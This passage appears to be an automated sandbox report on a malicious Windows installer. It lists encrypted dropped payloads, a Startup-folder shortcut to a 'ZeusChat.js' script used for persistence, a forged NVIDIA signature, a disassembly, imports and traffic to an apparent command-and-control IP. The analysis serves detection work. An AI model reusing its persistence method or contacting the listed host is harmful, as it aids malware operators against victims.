Preview:	...q.L.....~ip...$OJ....q#.<...,z.P.....r.%.... ...\|j`J.5=dEj.4...5..U7..C .X..&Q.2c.'$......o.-Q.E.D.y`.......~..\.....j..RyY;.WU_.2.h....t{s........VV...j.]\!...9.b......$.?rby.6N....n.....Z.8;`...]..Lg.p.7E.uu.c.h97...F..J.C./.q..@L/.}..._.;?I..@.Lo..u.UDr.^{s...v....G .....Sx=."..l).h{h..q.c.0.<..l............bTh.........N.'_.o........W...+d..e....X..h!_..,v.......)7.....j.....,\.G...,2=...c............P......xu....@.~..........8..>=.....4C}..j}We2k.....%.D.m.\x...O.B.4......,^....v...m..3.f.Z.vE....:..........4..=AC.#.n...-l.I.B.s^.-.......-.^R..`z..N..Z..ck.........../.<`.."J.....L...w..D.......a......_M..U.Wj.C...j.9....e....#V"....z#nXU.......w]..T..'#....../.......gn..G}.k.KP..j...#+.7I.].Y2...5"...z\..-.....P.dK.n.#......T...........c.;C.......(.....g.....(n.x..T.Z`..'...XE.........v....F(.\|*.X...5/..\|.;G'Xc...y....-..M.........Z...".4vV.{."&......ZP2p.?>.t.......u=.........m.....m..d..I:....r..HZ....z+.......fw1m1{..Y9..^

C:\Users\user\AppData\Local\Temp\Tech

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1065128
Entropy (8bit):	6.43820773264071
Encrypted:	false
SSDEEP:	24576:SAwciuvaj8l4LEWumcKYB5Wek2vY+BYssmNolbmmPmJ4Ve+aaWBS:SALTBaLETmcKYB5WH2AwjsLbmmPmJ4Vt
MD5:	C63860691927D62432750013B5A20F5F
SHA1:	03678170AADF6BAB2AC2B742F5EA2FD1B11FECA3
SHA-256:	69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
SHA-512:	3357CB6468C15A10D5E3F1912349D7AF180F7BD4C83D7B0FD1A719A0422E90D52BE34D9583C99ABECCDB5337595B292A2AA025727895565F3A6432CAB46148DE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......^.........."......:...(.......R.........@.........................................`...@...............@..............................[..\|.......h....@..To...$..........t....p......................X...(...0p...............P..8............................text....9.......:.................. ..`.rdata...A...P...B...>..............@..@.data...P........P..................@....pdata..To...@...p..................@..@.rsrc...h............@..............@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Through

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	7.997454633063599
Encrypted:	true
SSDEEP:	1536:vXx+HOb0XDoXJHfl7Z0gtZaVjADAsSuq3gbGnvD0qxThfrk:/UHsMDW97JkVjADAXx3Xn4qxO
MD5:	5ECDE821195E874D98C846D36A61D9BE
SHA1:	D58B5F754F7C073C75556C191673687EDD6F9FDF
SHA-256:	E6FBFEF6271FF5511FB38D40831E25AD9B92535A66621E6CE464A98386F4649F
SHA-512:	06F0C80617C836C3B3E8F9197F9AEAA97AA6A8B0AD92DF09E44ED39D435A8107E17145B0665CBE3A7174B74C747A4CEF8AD09FDEBB309CC34C85B1936588C570
Malicious:	true
Preview:	.....a..EI..FiW....%...l"M..R .F..$M.c. .[.....=... .O..]P..s.6n...T.W+..".M.....h.H5.-.Hi.`...%0@...Ac\|..u....6.A.P..#...>...w..=:n.r.<....._......K$....x...!./..8\.....~..DH02.{).&..kJ....PC.8`...^.@\2.i1.......q:.4V..~..g...4E.e<...i...w..g..]v@.Fr.$...M..9.AS.GS...o..&.+.e...( ..c..{.!..8..L...G.U3..Q.j3...$......X...".7...m.o....m.O.1l...]8~B.a........\|..Lo.ef..PpkI~..h`=.<.K_.+..I..d/..6.>E.....\..~....^...67...=..cf.D:-.....e$HvR......5N..O....].ZmREBcji...=o..Z.hH..=2k.x.G=i..I..D.L.~2..ws.;~..8.j..K.=.9.gV.....4G..fF.!.U.=.<O1?..`k.d..ql.?....l.o.<s....z.N..S...F../.T..6?jG..D._~.j..q...y....l.A:.i.O...y..cm...e..0...^`$.{.z.Y...b..gu.......K..0....^.....V.k.r.^......./9p...x{$@.4...h.x...a}........7...6.Xk.LV....l..p..s.S.y%.VR...PV.Uq..m..m...}Q..o..3.e.......Usj.-_.X,>N..w.X..>.$..{/..~f.....u.q.........G...,..eK.?..s2...j.:>....z....r.g.n..F..'.......V..x4.2..t..9.92.8..tE.....i.."fM...n....Y..+..=.....5.....O.y.l...c.e.......t.......

C:\Users\user\AppData\Local\Temp\Tm

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	7.997919448781185
Encrypted:	true
SSDEEP:	1536:M318WuV/Lje58/NgEryXkIeIWnWeCZGfc5RS7SazCt39k7siBc:u1N8/NQXk9WD550GazI9k7sP
MD5:	D974201B21B17C64319B3AFDDAECDF05
SHA1:	101C54415A230BAD753C8879A76593FFB19897DA
SHA-256:	83E4A156F628135F8C3AAB71C0CC15FD426E5FE3BEF93ED37ECF3E540E702A45
SHA-512:	74E735D48E733CA719BC70FC9F15F0185DF5E6F26B600B805130C4F235DEDD3A476E590264A19866D1FA492A11CB8C5CF874049F54DB598FFBD2855E9EC8A65B
Malicious:	true
Preview:	6>......k ..+.C.U.. ..mc...)Y_LM...<.?P..W...;.]p....w jl......H.=.&.P..dy.E...Nf?....Cb..2..quck.YNV...%.(....7....q@-.[.lC'D.=...)..A.Q..5.<...$.p.(li.B..........K..f.j\.....P^.0.mK.X.[D\|..s}:>...6Y.....z.S.8..#O.%1..;......I...B..A..ch...a.s.-.G.q..m].....jd>m.g........k}.q.fyp..l.9.^c.J......p...V2....c.K[....5a/E.4[m.?...9.....KDL..HU..6U.Rp..Z..,F....D....Z.P.L`...G.!.!....3..d;4.t.....T.)wQ[......Q.D..D.PU0.f{.y.q.t.Z.>..f.......-$......'F........M..I .....-.['.-.@T.&'.<...h.....T..........s.......h.<..=B.M.f..~b......l...{....z}.?.1...ARt...D...-......v&..d...{...H..]...>.......Bh..C.r.A.R..C;A2.....0.Y........L........%..".E..C'.;...L...G...Z....q.0.K.'...B.,.Q(u.....y~@M2\|E.._Fm..Q.'h8_....S...l..Z.\|E\...H.=......$`ld.&@}7u.C..qv......O."....-oI.:.......PY..s.N.3>.\|..:.._.k;l.a.....@.(G.ZD...c...\|\..'U.u0.....Ur.._n...}^.N.K.G...8.`...p.R....IL..]i.9.m..%.......q....Av............cB. w..KI.$:.?.?......f.b.\.:...p.3.t..1....~...

C:\Users\user\AppData\Local\Temp\Turns

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.99807412881169
Encrypted:	true
SSDEEP:	1536:dwYJksN32wTiAc1X2LnS2N2zIdkFvbbFQWypC4FA/4Z2/avYoz10Gu9DklUJp34P:d9k8mrAwGLS2N2zImFvbbFzcCN/livYs
MD5:	3BE74FBC6EE02888C808EC92AC040F44
SHA1:	9762530702FC951013D2EF1F9152925DA7FC0E10
SHA-256:	375F7060E748B8A0F48ACA18638A2DC0E94574BE8963C44E689F96321BD1BD11
SHA-512:	3FB2B1CDE21DCF11F870B1DB3D9DA44AACFE01C0B625B1FB16FACDE9C8A99DDEE8076C14828D8623A8DB4390C3C2FDE25F1323E864F5A04196176F9A68F9DB5B
Malicious:	true
Preview:	`.8.6z..h....;L...?....!.p.......=..tSJ..{.Ce...8....D.J.I..pg.<]......T .I.g.^_4o.}.....(Z...z$.>.ff..T\|.t..:..#...Y...}`h.r...<..f..]<r.L..=...Zp..,{..2S.C~bR.....d...Kq.....T..wp\..;.t...6(@.Y.&...p.....b;Q.......2.....H^..W.f.v.1>r..:P. .h^..tVfQ..H.....%Q......#.V....xv.Z..<{........2..B^.......kX..>38..L.....H....+l.y.1AZ..Tm..T.{.8....w.n;s..[......7.KEk.^.s+\..l.G..(M.>....\|6g<......S.F...#..=Q&..=H.c.[R..v.8..v...[/wc...eP....,..q..t..(h.q...m.+.2........4...r....$2....7H.X..Zf..!.cf.....E.Cx..+......K..9~.>. .6..[P.dt...(VuQ....D..\|l.5..#.!..F..O.#.g.xbf...:.<:.....+An'."E..m..D.'..,..........:.TDmSn........]..y..f.7\...=k../.Tx.0._?..(.1/P!.yb.%.....4...w.....r.xD...o.af.`....4.h6a...m......T..a4.s.E2.-..Eo.>..j.SCp\.*a8....Y.-)..... ..$~t,R6.&,9....{.41.J0?...eQNz...x ..^...r.)8..DBp..& ..xt.7@L....0fdSH.J....Xp.DC.lF...N..Y4.`.....e..qz.......j.t...G.@..W.z.....VQ..%q...~hc..P.r..-&.Q.KA..a.Yf.$I.:...sp.[L...J.3b....[...^G...Nv.

C:\Users\user\AppData\Local\Temp\Typical

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997554059646999
Encrypted:	true
SSDEEP:	1536:kxYY9JzAu6zWvOkaaq/Io0ewysKdYodz3jzZKQnhpgjPmo9NAHMthog:ivHAu6SvOkapIo0PXKdYw3jzkQhp6isF
MD5:	5E994F39CCE9E10B951340C50ED7AC57
SHA1:	3AF9BCC59EBA50B027DEDE0B713B3560AB033E92
SHA-256:	BF779307AF2D71D7DDD99AA8E239755C0B4DE961CD0FBF0620DA0718870C2CB0
SHA-512:	5E1B9606C794DB160C7C17256999DD87F9BABC1C18F16C60BB3229AD8A37DE3D3106914B44C865F44C51E066F04724E399E7BB9487C50DD05FC38068E3B4AE54
Malicious:	true
Preview:	5..D.._K..gN...(s...l=.~...k&K.Y.:..%.D.V.8...=..._......n.9M.W.TG.a.T..K..........~..Z..M....5....\..q.9\|&..6.").G....~[._0....f..s...x.....W.Xy..j.%{@.3.t..S.Q....X.<:.RH"..3..2E..@.B.UH.A.._....N..Q\/y.......e(T........&Q...v..)d.j}...h.?oD.=i...@..~..........(1...p.&..-.....tU....6...\9....Zg......U.@l..\|.......F2...-<...#h..'....+..A.'.MY6wW.'4.#4.........W.r......x....Vb<.Y!..b.nM.U.'...9....8...."..G.....c4.&Q.....X.......5.wG....L.. K....C.'b....o.....M..~N....1.yDG...@....&..%..]..@..........g...P.7...\|Z...;.S...x...8Z..`.2H.t%..P.B.q../1.qswCH.....N../..D.\|.f.f. g3.vk..Q.j..z(.....?$..c.........{.4wa..HQ..._)....R.]..O..^.E.q..r.y..=.C....Dw...}.k....d...g<....!X<.!.:'_.._..U..$l5.J.T]..er..Xt.....M".g.w.7P.z...x6.Z.sa..e..8..L...w.....G....3XpG...l.c.LM......^..6/"..9?.ewo..../e.z....u.kb.nz.c/........s..St6.d~..H.. 2.A.[.KopZ3...`.....5.).C&.h....0....k..+!3!...."..........\.+fY.Mr.QG..a..E......_`8...3..J

C:\Users\user\AppData\Local\Temp\Wendy

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.9980906917164045
Encrypted:	true
SSDEEP:	1536:Lul0o74FHEfDEYdYCgssVqna1Q9qJZShA1at1XpbgaDxeEhTuLEJAhFBNDQhwMub:E0tFkfDfVgjGhvXpkk7IEJAXQ2MuXr
MD5:	8BD430500D4C1E0562DBDEA031FCC935
SHA1:	21EB8D97B4A27334B285C0EF00E9A436DEA13A08
SHA-256:	9312BD3FE3E138A6C6BBD1D253C493E171CABE1207351AC8A0AF19B4D3097BD0
SHA-512:	F5E4055F89E18B31170DDF9609FAACC6F6899320EB1299E56B8DC674E3C40CDB0B1A46EE4012AB1D84D5FE8EDCBC81B39D0F2F0ACBAEBDD98EF356E865464C31
Malicious:	true
Preview:	.I.h....N.N..04vT..6......@..W..o...5xRz.)...I..i...WO...f..?.....y....t.f.:E^..r..x.(...q.;.n...A-..6.....~ ..w/...v.P..O...g_.Sx.E.."\..6h.~....~..V"...Z....`.+....e...M.E.P....ck!.T...AM....R..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....G.L.'.F...h..............>.......>......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..\|.&..,P..Myn.2..t.W....^.8.Z!...W[.>..8D...>...i..m......_.}8.5...x..2).U.j....R>..#.~.\.......$h_.8..D..X.U..~X...)<.G...]...P9(..f/.._..c.Y.^...g[.T.bg.D....w$ .x9...#.K..{).....A...V..!.+.f./J>I5.._yN`.7l..M.....a2.....\|\|>...z.QRG........K.G..;.rda(..{.l5<...d...Q.....x.=.4..W?_8.<Oj<..;...hy.C.."x....x....g..0.Q..i. /.j...v8...iH.>...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Process:	C:\Windows\System32\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.887734565173362
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoUkh4E2J5mcVIFzRLF:HRYF5yjo923mc6FzRLF
MD5:	9B0DD8841FA4337E06FAA0248CB8BE50
SHA1:	49052752C632FDD3ECE047AED856E7117B2B2431
SHA-256:	2A4F125DF75228843D8DDC45ABB7804EA97A1AE4FB1D886F4D1A1EC006A61D66
SHA-512:	AED4D54CFBF58EAB5BCCE26FFD4D5AA959508E053D3752C1CCE8B24AE7529B4733574250CCD67C4A8925B972DB5554D8D8CAF5196B328254E0D3369FD14AD1FC
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.99708308920727
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	4'389'991 bytes
MD5:	978752b65601018ddd10636b648b8e65
SHA1:	2c0e320cb0d84c6760a925d873d58e701e3e6cb1
SHA256:	8bf64a9906e8177eab206dac3a550bc5918213659f98eac6295b8e24184eb782
SHA512:	f29382d1c14cff16ee09febc5e3c875580de84494ba0510fcae06a1e024ffd00c96d3e962d2da2132ebd864d085218c79979c1df7f3334ea2e26b5ed39cbdbe1
SSDEEP:	98304:WjqOA3rPgnbbKrWFkr+aROuqoq8xT3SNCROnLm8F2Eq3VVP6Mj6jP:4rA3rPCKrv7Ouq5qDwCgLdF2EcVVP6mc
TLSH:	3716330598340DB5FF9601F0ADFBD789E869F8305B10CBD8771884E1FA996E6B179B02
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	4cb6e64dda6666d6

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/01/2023 19:00:00 16/01/2026 18:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007FAED09C6B4Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007FAED09C682Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007FAED09C681Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007FAED09C411Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007FAED09C64F1h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FAED09C41A3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FAED09C411Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x1993e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x42d63f	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x1993e	0x19a00	9489d090ecf077e17eb90ebf64e83539	False	0.9276200457317073	data	7.720164356286416	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x11a000	0xfd6	0x1000	63f44dc7ce4332517505661bf812c553	False	0.59423828125	data	5.570368511133667	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x100280	0x1114d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004144929607661
RT_ICON	0x1113d0	0x233a	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	0.9780439121756487
RT_ICON	0x11370c	0x208c	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0013202112337973
RT_ICON	0x115798	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5310211554109032
RT_ICON	0x117e00	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.6493624772313297
RT_ICON	0x118f28	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7606382978723404
RT_DIALOG	0x119390	0x100	data	English	United States	0.5234375
RT_DIALOG	0x119490	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x1195ac	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x11960c	0x5a	Targa image data - Map 32 x 4429 x 1 +1	English	United States	0.7888888888888889
RT_MANIFEST	0x119668	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 20:25:27.207014084 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:27.326533079 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:27.326606035 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:27.326998949 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:27.446624041 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:28.669364929 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:28.669419050 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:28.671336889 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:28.671336889 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:28.797566891 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:29.094172955 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:29.136995077 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:29.347130060 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:29.402606964 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:31.418621063 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:31.465131044 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:41.341468096 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:41.465133905 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:25:51.499468088 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:25:51.543432951 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:01.434472084 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:01.480787992 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:11.500020027 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:11.543309927 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:15.213450909 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:15.262029886 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:25.157396078 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:25.199533939 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:35.202073097 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:35.246701002 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:45.245049953 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:45.293359995 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:26:55.234812021 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:26:55.277704000 CET	49735	10343	192.168.2.5	163.172.171.111
Nov 24, 2024 20:27:05.241915941 CET	10343	49735	163.172.171.111	192.168.2.5
Nov 24, 2024 20:27:05.293334007 CET	49735	10343	192.168.2.5	163.172.171.111

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 20:25:03.902481079 CET	62197	53	192.168.2.5	1.1.1.1
Nov 24, 2024 20:25:04.154067993 CET	53	62197	1.1.1.1	192.168.2.5
Nov 24, 2024 20:25:17.464598894 CET	58096	53	192.168.2.5	1.1.1.1
Nov 24, 2024 20:25:17.602181911 CET	53	58096	1.1.1.1	192.168.2.5
Nov 24, 2024 20:25:27.060687065 CET	49929	53	192.168.2.5	1.1.1.1
Nov 24, 2024 20:25:27.204521894 CET	53	49929	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
